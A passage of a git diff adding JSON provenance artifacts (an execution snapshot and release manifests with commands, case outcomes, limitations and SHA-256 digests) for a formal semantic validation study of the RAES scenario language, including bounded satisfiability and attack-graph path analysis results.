"6d55d336eb9f39eb7718834e2645888f965adc8d", + "checkout_state": "modified", + "implementation_digest": "8c1153320260a66058dcc38a2dcf6efd417f1c133b6d052df022ea85a6ae027d", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/historical-artifacts/31847cafec6a9db89f7359c80298eff47a7fed06a704c78d8d905bacaa3a92e9.json b/docs/research/formal-semantic-validation/historical-artifacts/31847cafec6a9db89f7359c80298eff47a7fed06a704c78d8d905bacaa3a92e9.json new file mode 100644 index 000000000..379a3740a --- /dev/null +++ b/docs/research/formal-semantic-validation/historical-artifacts/31847cafec6a9db89f7359c80298eff47a7fed06a704c78d8d905bacaa3a92e9.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1179-execution-v30", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v30.json", + "release_revision": "31.0.0", + "release_sha256": "2ff815191d32934375ef9d49d8962d8bb00f7dceb0df7f6253bd59ec5bf07975" + }, + "captured_at": "2026-09-18T03:48:12+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1183-execution-v31", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "eb5756894b11a1301d0521832cc41898659436dd", + "source_state": { + "base_revision": "eb5756894b11a1301d0521832cc41898659436dd", + "checkout_state": "clean", + "implementation_digest": "3120608cb2bbf7efc9cc95b1242952b79a729f2f55ac049886cd457b2caad9e3", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/historical-artifacts/f0be18219af353ff931280ca7a5fec87fcf11c099d7995b4ccac0143ca7bd8fe.json b/docs/research/formal-semantic-validation/historical-artifacts/f0be18219af353ff931280ca7a5fec87fcf11c099d7995b4ccac0143ca7bd8fe.json new file mode 100644 index 000000000..ecd53794f --- /dev/null +++ b/docs/research/formal-semantic-validation/historical-artifacts/f0be18219af353ff931280ca7a5fec87fcf11c099d7995b4ccac0143ca7bd8fe.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v31.json", + "analysis_sha256": "234934f3570234c6fc58e1d371993f984e636a618db7762de68cfff40a30c5f4", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "32.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v31.json", + "snapshot_sha256": "31847cafec6a9db89f7359c80298eff47a7fed06a704c78d8d905bacaa3a92e9" +} diff --git a/docs/research/formal-semantic-validation/historical-artifacts/issue-1005-pre-refinement-release-v22.json b/docs/research/formal-semantic-validation/historical-artifacts/issue-1005-pre-refinement-release-v22.json new file mode 100644 index 000000000..78c748456 --- /dev/null +++ b/docs/research/formal-semantic-validation/historical-artifacts/issue-1005-pre-refinement-release-v22.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v21.json", + "analysis_sha256": 